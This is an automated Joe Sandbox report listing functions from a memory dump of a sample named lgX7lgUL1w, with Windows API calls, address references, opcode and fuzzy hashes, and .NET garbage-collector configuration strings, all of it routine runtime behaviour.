Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7E3581EC7
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7E3581F8C

Strings

@, xrefs: 00007FF7E3581F84

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CurrentGlobalMemoryProcessStatus
String ID: @
API String ID: 3261791682-2766056989
Opcode ID: 08fb357760ee07a770a744109e7a6e344503c8149823deb5f180863c7e2f9c72
Instruction ID: d51ac8df5b5e04118886f2e878879c8cf95c5fdb867e72498f3f03463a804f5d
Opcode Fuzzy Hash: 08fb357760ee07a770a744109e7a6e344503c8149823deb5f180863c7e2f9c72
Instruction Fuzzy Hash: DD412571A09B8681E996DB369110339EE526F59BC0F58CB32E90E3A744FF3DE4918621

Function 00007FF7E35B02E0 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000001,00007FF7E359D839), ref: 00007FF7E35B0320
LeaveCriticalSection.KERNEL32(?,00000000,00000001,00007FF7E359D839), ref: 00007FF7E35B0396
EnterCriticalSection.KERNEL32(?,00000000,00000001,00007FF7E359D839), ref: 00007FF7E35B03EE
LeaveCriticalSection.KERNEL32(?,00000000,00000001,00007FF7E359D839), ref: 00007FF7E35B0414

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 900f00244c349463bb9bbf8e27b875c11dd4c8b86f50576fa13144f7e536b278
Instruction ID: 1ee2065ccc3e85e8e7afc7e96870eaf1040c319d32e8aeee9389cfca8e1d1d4d
Opcode Fuzzy Hash: 900f00244c349463bb9bbf8e27b875c11dd4c8b86f50576fa13144f7e536b278
Instruction Fuzzy Hash: F6417F21A0C70692FAA0FB21E485775BA94BF14341FD60077D94D677A1DF3CE4608372

Function 00007FF7E358CD40 Relevance: 4.7, APIs: 3, Instructions: 195
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SwitchToThread.KERNEL32 ref: 00007FF7E358CE22
SwitchToThread.KERNEL32 ref: 00007FF7E358CE2B

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 053cb21f2e7aa8d425844a9121586dfe66c792382e692f055b286bee1b8152ac
Instruction ID: b4c58beb4f1ece5ea07ef6e770b48d6f05abbbf367f9270a1783c56b132703e1
Opcode Fuzzy Hash: 053cb21f2e7aa8d425844a9121586dfe66c792382e692f055b286bee1b8152ac
Instruction Fuzzy Hash: 42716821A0824386FAE5BB75A840735FE91AF48785F80013BE95D7A396DF3CF4508B62

Function 00007FF7E3582740 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,00000000,00007FF7E3585158,?,?,0000000A,00007FF7E35841B0,?,?,00000000,00007FF7E357E8A1), ref: 00007FF7E3582767
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00007FF7E3585158,?,?,0000000A,00007FF7E35841B0,?,?,00000000,00007FF7E357E8A1), ref: 00007FF7E3582787
VirtualAllocExNuma.KERNEL32 ref: 00007FF7E35827A8

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AllocVirtual$CurrentNumaProcess
String ID:
API String ID: 647533253-0
Opcode ID: 0ee9833a7794a767601698390b6fdb287f23bc31715070173f580906f203b271
Instruction ID: 6b9f810aea11c4385a3aed2d966ab4ddf66eb6411dacfb785574885096f5472d
Opcode Fuzzy Hash: 0ee9833a7794a767601698390b6fdb287f23bc31715070173f580906f203b271
Instruction Fuzzy Hash: 71F0A471B0869186FB609B16F404319EB61AB49BD4F880135EF4C6BB58CB3DD6858B10

Function 00007FF7E3579D50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EventRegister.ADVAPI32(?,?,?,00007FF7E35756E4), ref: 00007FF7E3579DA5

Strings

gcConservative, xrefs: 00007FF7E3579E14

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: EventRegister
String ID: gcConservative
API String ID: 3840811365-1953527212
Opcode ID: ffe3c2faf81b3ef910fad80c62d0f8518216a282887ed91876dae107d6d140ff
Instruction ID: 874a55d81332affcbf91ab34d37fc4f60e6f814c259fdd2eef179cd3c4243104
Opcode Fuzzy Hash: ffe3c2faf81b3ef910fad80c62d0f8518216a282887ed91876dae107d6d140ff
Instruction Fuzzy Hash: 1D310521A1864786EB80BB65E8C07B5BBA0FB48746FC00077D90D63761DF3CE668C762

Function 00007FF7E35D8D70 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7E35D8E79,?,?,?,?,00007FF7E357D9D1,?,?,?,00007FF7E357DF4C,00000000,00000020,?), ref: 00007FF7E35D8D8A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E35D8DA0

Part of subcall function 00007FF7E35D97AC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7E35D97B5

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 205171174-0
Opcode ID: 95691fa6baedfe018d50a01fc6fec94552b967e93a3eb7814b2b8a2ad8293209
Instruction ID: c65b9b609baad2b919c1b7890338f84e0d366fc35580f4d5482a91759b20a077
Opcode Fuzzy Hash: 95691fa6baedfe018d50a01fc6fec94552b967e93a3eb7814b2b8a2ad8293209
Instruction Fuzzy Hash: A6E0EC02E0950791FDD9777218152B689400FAA774EED1B32D93E693C6AD3CA4518173

Function 00007FF7E35964A0 Relevance: 2.6, APIs: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF7E359C51D), ref: 00007FF7E35965BA
LeaveCriticalSection.KERNEL32(?,?,?,00007FF7E359C51D), ref: 00007FF7E35965DB

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 30e9e35b31ec2547a70cda4d383b3805e38872ae1b4e46b8a6fe90720136f9e7
Instruction ID: 20e4230cfe45d018393d4935f2589594e3c8f7443d7a60c5db52f784053c8657
Opcode Fuzzy Hash: 30e9e35b31ec2547a70cda4d383b3805e38872ae1b4e46b8a6fe90720136f9e7
Instruction Fuzzy Hash: BD419561A0864285EB90AB2AD590774BB50AF09BF5F850337D93CA77E9DF3CE064C352

Function 00007FF7E357FC50 Relevance: 2.6, APIs: 2, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF7E357FCD0

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4ca215575fd0c6e0bae6fe572d759c8f06235c4c5b30343d008d1ca5d55f1ae
Instruction ID: 546bab1dab656a8df8096e1de78aedc9010290730e4f27b1f98e9784dcdd2507
Opcode Fuzzy Hash: d4ca215575fd0c6e0bae6fe572d759c8f06235c4c5b30343d008d1ca5d55f1ae
Instruction Fuzzy Hash: F631F532B05B5182E654EB26E50022AA7A0FF49FD0F848136DF4C27B94DF3CE5628391

Function 00007FF7E35B0440 Relevance: 2.5, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E35827D0: VirtualFree.KERNELBASE ref: 00007FF7E35827DA

EnterCriticalSection.KERNEL32(?,?,?,00007FF7E35964F9,?,?,?,00007FF7E359C51D), ref: 00007FF7E35B0472
LeaveCriticalSection.KERNEL32(?,?,?,00007FF7E35964F9,?,?,?,00007FF7E359C51D), ref: 00007FF7E35B049C

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveVirtual
String ID:
API String ID: 1320683145-0
Opcode ID: b5911a8c8c100c65425a835202cd376d10abe74bf2f3be4458c4a8add018ab75
Instruction ID: 8c3f86ec003fa2f74eb79ecf396e5d793486ad218c568ec87f4300f2a2f42afd
Opcode Fuzzy Hash: b5911a8c8c100c65425a835202cd376d10abe74bf2f3be4458c4a8add018ab75
Instruction Fuzzy Hash: 06F08121D0865250F6A0AB25F8C53B9BBA4FF44792FC60037E95D66A958F3CE471C3A2

Function 00007FF7E3582700 Relevance: 2.5, APIs: 2, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FF7E3582716
VirtualFree.KERNELBASE ref: 00007FF7E358272C

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 21fe628a8c245d1f009263de4e24fe02042f17ce3a1401def6f39cd1a18418fe
Instruction ID: 3b47b317314b7b719766f4f01df58cedda92025214c8898dae24185d90bb5556
Opcode Fuzzy Hash: 21fe628a8c245d1f009263de4e24fe02042f17ce3a1401def6f39cd1a18418fe
Instruction Fuzzy Hash: 30E0CD24F15101C1FB98AB2368457149B916F5D701FC48039C40D57350DD3D625B8B31

Function 00007FF7E358725E Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 00007FF7E35872A4

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: bb02521482f357d091ee9155b463287af1990604d8e730fb2d95daa1db2f584a
Instruction ID: 3ceb49dba3ead9950532b388f5acf9991221b31022d36239b7aafc4f2b85a541
Opcode Fuzzy Hash: bb02521482f357d091ee9155b463287af1990604d8e730fb2d95daa1db2f584a
Instruction Fuzzy Hash: F541EA22F08A4242F690EB219442779AB91EB987E4F840237DE6D7B7C5CF3DE441C352

Function 00007FF7E36142C0 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(?,?,?,?,00000010,?,?,?,?,?,?,?,00007FF7E361421E), ref: 00007FF7E3614312

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: abdcdcb704eea11be962c5435ee9f9ed110ffaba1fae7f9995d937fc0061dd4b
Instruction ID: 020ed7705b02af77955155fbab36037b9453bd781344b69aef53a9f314d57b02
Opcode Fuzzy Hash: abdcdcb704eea11be962c5435ee9f9ed110ffaba1fae7f9995d937fc0061dd4b
Instruction Fuzzy Hash: A421D022E0C42655F7A2B67298013FDDA616F40794FD88033DD0C37B86DE7CAA838262

Function 00007FF7E3575780 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E357A840: VirtualQuery.KERNEL32 ref: 00007FF7E357A872

RaiseFailFastException.KERNEL32 ref: 00007FF7E3575808

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastQueryRaiseVirtual
String ID:
API String ID: 3307674043-0
Opcode ID: 7af0f4953ddc52c25f6e90b158d3ed6bc1e96b3b1330e4a47b64c34ff6aef813
Instruction ID: ff04af8c1840643d7f6e7a20b710eae050018c96f0c964c40c65554e219a050d
Opcode Fuzzy Hash: 7af0f4953ddc52c25f6e90b158d3ed6bc1e96b3b1330e4a47b64c34ff6aef813
Instruction Fuzzy Hash: 2A11C13290878182D794AB35B4002AAB760FB447B0F804336E6FE177C6DF38D1028701

Function 00007FF7E35827D0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF7E35827DA

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f9194b57a0946cc2409ad4d497bf7a480cce94f9d72206b6568b2ab60965888a
Instruction ID: 1e49f3309228bd225840f00b326803e8f7424a81fab6ef823d7da1eb10f414c2
Opcode Fuzzy Hash: f9194b57a0946cc2409ad4d497bf7a480cce94f9d72206b6568b2ab60965888a
Instruction Fuzzy Hash: 0FB01200F16001C2F3443B337C8270846552B59B02FC41024C608F5250CD2D92EA1B32

Non-executed Functions

Function 00007FF7E3582A60 Relevance: 111.8, Strings: 89, Instructions: 525COMMON

Download Yara Rule

Strings

GCHeapAffinitizeMask, xrefs: 00007FF7E3582D9D
System.GC.HeapHardLimitPercent, xrefs: 00007FF7E3582EB9
LatencyLevel, xrefs: 00007FF7E3582D34
System.GC.CpuGroup, xrefs: 00007FF7E3582BD8
System.GC.LargePages, xrefs: 00007FF7E3582C08
ServerGC, xrefs: 00007FF7E3582A8A
GCLargePages, xrefs: 00007FF7E3582C12
System.GC.HeapHardLimitSOH, xrefs: 00007FF7E3583215
BGCSpin, xrefs: 00007FF7E3582C9A
GCCpuGroup, xrefs: 00007FF7E3582BEA
BGCFLTuningEnabled, xrefs: 00007FF7E3582FDB
GCConserveMem, xrefs: 00007FF7E358330E
BGCFLGradualD, xrefs: 00007FF7E3583107
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7E35832BF
System.GC.HeapAffinitizeMask, xrefs: 00007FF7E3582D8E
BGCFLEnableSmooth, xrefs: 00007FF7E358319D
LOHThreshold, xrefs: 00007FF7E3582C5E
GCGen1MaxBudget, xrefs: 00007FF7E3582E5B, 00007FF7E3582EDB
GCRegionSize, xrefs: 00007FF7E3582F17
LogEnabled, xrefs: 00007FF7E3582B75
HeapCount, xrefs: 00007FF7E3582CC7
HeapVerifyLevel, xrefs: 00007FF7E3582C22
NoAffinitize, xrefs: 00007FF7E3582B62
GCHeapHardLimitSOH, xrefs: 00007FF7E3583224
System.GC.Name, xrefs: 00007FF7E3583342, 00007FF7E358335A
System.GC.HeapHardLimitLOH, xrefs: 00007FF7E3583237
BGCFLEnableFF, xrefs: 00007FF7E35831D9
GCHighMemPercent, xrefs: 00007FF7E3582E0C
LOHCompactionMode, xrefs: 00007FF7E3582C40
System.GC.HighMemoryPercent, xrefs: 00007FF7E3582DFD
ConfigLogFile, xrefs: 00007FF7E3582FAD
BGCFLEnableKi, xrefs: 00007FF7E3583161
GCNumaAware, xrefs: 00007FF7E3582BB7
BGCMemGoal, xrefs: 00007FF7E3582FF9
GCLowSkipRatio, xrefs: 00007FF7E3582E79
System.GC.ConserveMemory, xrefs: 00007FF7E35832FF
GCHeapAffinitizeRanges, xrefs: 00007FF7E3582DBC, 00007FF7E3582DDD
GCHeapHardLimitLOHPercent, xrefs: 00007FF7E35832AF
BGCFLkd, xrefs: 00007FF7E35830AD
BGCFLki, xrefs: 00007FF7E358308F
GCEnableSpecialRegions, xrefs: 00007FF7E3582F35
CompactRatio, xrefs: 00007FF7E3582D70
ConservativeGC, xrefs: 00007FF7E3582AC8
LogFile, xrefs: 00007FF7E3582F69
GCWriteBarrier, xrefs: 00007FF7E3583321
GCGen0MaxBudget, xrefs: 00007FF7E3582E3D
BGCMLki, xrefs: 00007FF7E3583143
System.GC.Concurrent, xrefs: 00007FF7E3582AA3
BGCFLSweepGoalLOH, xrefs: 00007FF7E3583053
LatencyMode, xrefs: 00007FF7E3582D16
System.GC.RetainVM, xrefs: 00007FF7E3582B0A
GCHeapHardLimitPOHPercent, xrefs: 00007FF7E35832CE
BGCFLEnableKd, xrefs: 00007FF7E358317F
System.GC.NoAffinitize, xrefs: 00007FF7E3582B50
GCHeapHardLimitPOH, xrefs: 00007FF7E3583268
BGCFLkp, xrefs: 00007FF7E3583071
GCLogFile, xrefs: 00007FF7E3582F58
System.GC.Server, xrefs: 00007FF7E3582A7B
SegmentSize, xrefs: 00007FF7E3582CF8
System.GC.HeapAffinitizeRanges, xrefs: 00007FF7E3582DB0, 00007FF7E3582DD1
BGCSpinCount, xrefs: 00007FF7E3582C7C
BGCFLff, xrefs: 00007FF7E35830CB
BGCMemGoalSlack, xrefs: 00007FF7E3583017
BGCFLSmoothFactor, xrefs: 00007FF7E35830E9
BreakOnOOM, xrefs: 00007FF7E3582B2F
ConcurrentGC, xrefs: 00007FF7E3582AB5
RetainVM, xrefs: 00007FF7E3582B1C
BGCFLSweepGoal, xrefs: 00007FF7E3583035
BGCMLkp, xrefs: 00007FF7E3583130
System.GC.HeapHardLimitPOH, xrefs: 00007FF7E3583259
GCHeapHardLimitSOHPercent, xrefs: 00007FF7E358328A
GCHeapHardLimit, xrefs: 00007FF7E3582EA6
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7E35832A5
ForceCompact, xrefs: 00007FF7E3582AE9
GCConfigLogFile, xrefs: 00007FF7E3582F9C
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7E358327B
BGCFLEnableTBH, xrefs: 00007FF7E35831BB
ConfigLogEnabled, xrefs: 00007FF7E3582B96
GCProvModeStress, xrefs: 00007FF7E3582E1F
GCHeapHardLimitPercent, xrefs: 00007FF7E3582EC8
BGCG2RatioStep, xrefs: 00007FF7E35831F7
GCRegionRange, xrefs: 00007FF7E3582EF9
GCName, xrefs: 00007FF7E3583349, 00007FF7E358336C
System.GC.HeapHardLimit, xrefs: 00007FF7E3582E97
Gen0Size, xrefs: 00007FF7E3582CDA
GCHeapHardLimitLOH, xrefs: 00007FF7E3583246
System.GC.HeapCount, xrefs: 00007FF7E3582CB8
